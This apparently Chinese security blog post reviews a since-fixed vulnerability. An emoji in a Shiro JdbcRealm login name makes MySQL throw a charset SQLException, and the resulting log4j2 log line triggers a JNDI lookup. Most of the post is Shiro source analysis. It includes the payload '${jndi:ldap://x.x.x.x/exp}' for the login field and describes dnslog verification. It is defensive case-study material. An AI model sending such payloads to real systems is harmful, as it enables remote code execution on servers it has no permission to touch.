点击上方蓝字 关注我吧
小黄脸emoji几乎每天在聊天的时候都会使用到,在某些waf bypass也会看到它的身影。
shiro、log4j2这两个组件应该都不陌生了,在高版本shiro没办法通过shiro-550进行序列化漏洞利用的情况下,还有没有可能找到突破口呢?与此同时,emoji还能在漏洞检测中产生什么样的化学反应呢?
在实际业务中发现一个结合log4j2利用的案例(当前漏洞已经修复完毕 )。提取关键的的漏洞代码做下复盘。
系统通过shiro进行认证&鉴权。在MySQL中存储对应的用户信息。提到shiro,第一反应是想到的肯定是这些安全问题:
shiro-550的反序列化漏洞
权限绕过(CVE-2020-1957、CVE-2020-11989、CVE-2020-13933、cve-2020-17523...... )
但是比较可惜的是。系统的shiro版本为1.8.0,目前来看不存在上述的安全问题 。
还有一个可能存在的缺陷是使用不当导致的session操纵问题,具体文章可参考https://xz.aliyun.com/t/5287。那么看看系统具体的登陆认证是如何实现的。
在shiro中,Realm是相关的安全数据源,通过自定义一个Realm类,继承AuthorizingRealm抽象类,重写获取用户信息以及权限校验的方法来实现认证授权操作,主要是如下方法:
doGetAuthentication(用户身份认证信息)
doGetAuthorizationInfo(用于权限校验信息)
从config相关的bean可以发现,系统是通过shiro内置的JdbcRealm的方式访问数据库,通过与数据库的连接,来完成相应的登录用户与授权,这里JdbcRealm已经替我们封装好了,所以直接调用就可以了:
public class ShiroConfig {
@Bean
public JdbcRealm getJdbcRealm(DataSource dataSource){
JdbcRealm jdbcRealm=new JdbcRealm();
jdbcRealm.setDataSource(dataSource);
jdbcRealm.setPermissionsLookupEnabled(true);
return jdbcRealm;
}
@Bean
public DefaultWebSecurityManager getDefaultWebSecurityManager(JdbcRealm jdbcRealm){
DefaultWebSecurityManager defaultSecurityManager=new DefaultWebSecurityManager();
defaultSecurityManager.setRealm(jdbcRealm);
return defaultSecurityManager;
}
.....
//鉴权路由配置
}
具体的认证方法:
public void checkLogin(String username,String password) throws Exception{
Subject subject= SecurityUtils.getSubject();
UsernamePasswordToken token=new UsernamePasswordToken(username,password);
subject.login(token);
}
看看JdbcRealm的具体实现,找找有什么可以突破的地方。
查看org.apache.shiro.realm.jdbc.JdbcRealm,其已经将数据库的读取封装好了,以获取认证信息的doGetAuthenticationInfo方法为例:
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
UsernamePasswordToken upToken = (UsernamePasswordToken) token;
String username = upToken.getUsername();
// Null username is invalid
if (username == null) {
throw new AccountException("Null usernames are not allowed by this realm.");
}
Connection conn = null;
SimpleAuthenticationInfo info = null;
try {
conn = dataSource.getConnection();
String password = null;
String salt = null;
switch (saltStyle) {
case NO_SALT:
password = getPasswordForUser(conn, username)[0];
break;
case CRYPT:
// TODO: separate password and hash from getPasswordForUser[0]
throw new ConfigurationException("Not implemented yet");
//break;
case COLUMN:
String[] queryResults = getPasswordForUser(conn, username);
password = queryResults[0];
salt = queryResults[1];
break;
case EXTERNAL:
password = getPasswordForUser(conn, username)[0];
salt = getSaltForUser(username);
}
if (password == null) {
throw new UnknownAccountException("No account found for user [" + username + "]");
}
info = new SimpleAuthenticationInfo(username, password.toCharArray(), getName());
if (salt != null) {
if (saltStyle == SaltStyle.COLUMN && saltIsBase64Encoded) {
info.setCredentialsSalt(ByteSource.Util.bytes(Base64.decode(salt)));
} else {
info.setCredentialsSalt(ByteSource.Util.bytes(salt));
}
}
} catch (SQLException e) {
final String message = "There was a SQL error while authenticating user [" + username + "]";
if (log.isErrorEnabled()) {
log.error(message, e);
}
// Rethrow any SQL errors as an authentication exception
throw new AuthenticationException(message, e);
} finally {
JdbcUtils.closeConnection(conn);
}
return info;
}
这里主要是获取前端登录传递过来的用户名,然后调用password = getPasswordForUser(conn, username)[0];方法从数据库获取密码:
private String[] getPasswordForUser(Connection conn, String username) throws SQLException {
String[] result;
boolean returningSeparatedSalt = false;
switch (saltStyle) {
case NO_SALT:
case CRYPT:
case EXTERNAL:
result = new String[1];
break;
default:
result = new String[2];
returningSeparatedSalt = true;
}
PreparedStatement ps = null;
ResultSet rs = null;
try {
ps = conn.prepareStatement(authenticationQuery);
ps.setString(1, username);
// Execute query
rs = ps.executeQuery();
// Loop over results - although we are only expecting one result, since usernames should be unique
boolean foundResult = false;
while (rs.next()) {
// Check to ensure only one row is processed
if (foundResult) {
throw new AuthenticationException("More than one user row found for user [" + username + "]. Usernames must be unique.");
}
result[0] = rs.getString(1);
if (returningSeparatedSalt) {
result[1] = rs.getString(2);
}
foundResult = true;
}
} finally {
JdbcUtils.closeResultSet(rs);
JdbcUtils.closeStatement(ps);
}
return result;
}
可以看到本质上是调用原生的PreparedStatement来获取帐号对应的密码然后封装到SimpleAuthenticationInfo返回 :
ps = conn.prepareStatement(authenticationQuery);
ps.setString(1, username);
// Execute query
rs = ps.executeQuery();
执行的SQL从authenticationQuery变量获取,这里shiro提供了一个默认的SQL语句,当然也可以通过set方法用户自定义:
protected String authenticationQuery = DEFAULT_AUTHENTICATION_QUERY;
/**
* The default query used to retrieve account data for the user.
*/
protected static final String DEFAULT_AUTHENTICATION_QUERY = "select password from users where username = ?";
public void setAuthenticationQuery(String authenticationQuery) {
this.authenticationQuery = authenticationQuery;
}
可以看到SQL语句是通过占位符修饰,规避了SQL注入的问题。看到这里貌似没有什么可以突破的地方。不过在getPasswordForUser方法中,当SQL查询异常时会通过log打印当前登陆用户名信息:
catch (SQLException e) {
final String message = "There was a SQL error while authenticating user [" + username + "]";
if (log.isErrorEnabled()) {
log.error(message, e);
}
既然是log,自然而言想到了log4j2漏洞,看看shiro的日志是怎么实现的。能不能借助log4j2找到突破口。
shiro依赖的是SLF4J框架。SLF4J是一个日志标准,并不是日志系统的具体实现。主要功能是:
提供日志接口
提供获取具体日志对象的方法
简单的说,如果系统引入了log4j2相关的依赖,那么便会使用log4j2来进行shiro的日志处理。
幸运的是,系统使用log4j进行日志处理,同时相关的组件log4j-core在漏洞影响的范围内。
回到之前的分析,在JdbcRealm的getPasswordForUser方法中,当SQL查询异常时会通过log打印当前登陆用户名信息:
catch (SQLException e) {
final String message = There was a SQL error while authenticating user [ + username + ] ;
if (log.isErrorEnabled()) {
log.error(message, e);
}
也就是说,如果在执行如下SQL时产生SQLException,并且用户名username携带了${jndi:ldap://x.x.x.x/exp}的话,即可完成log4j2漏洞的利用:
protected static final String DEFAULT_AUTHENTICATION_QUERY = select password from users where username = ? ;
提到SQLException,最容易想到的就是数据库连接异常、报错注入。数据库连接不是用户可以控制的,至于报错注入,因为这里是用了预编译处理,很明显updatexml类的函数也没办法使用。
因为这里是普通的查询,尝试fuzz看看有什么思路:
发现当查询内容中包含emoji的时候,MySQL数据库会触发ERROR:
查阅了一下相关资料,主要是编码不统一的问题:
https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-charsets.html
https://segmentfault.com/q/1010000023488811
结合上面简单的分析尝试,直接在登录框使用emoji表情+poc进行登录:
这里结合dnslog进行简单的验证,可以看到成功记录,验证成功:
结合上述的案例,其实通过日志记录SqlException的情况还是蛮多的。除了特定场景下MySQL中利用emoji编码差异触发外,还可以结合具体情况来改进常规的log4j2检测poc,覆盖db2、Oracle等更多的场景,增加漏洞的检出率。
原创 | 从靶场学渗透之——ATT&CK实战系列-红队评估(七)
微信扫一扫
关注该公众号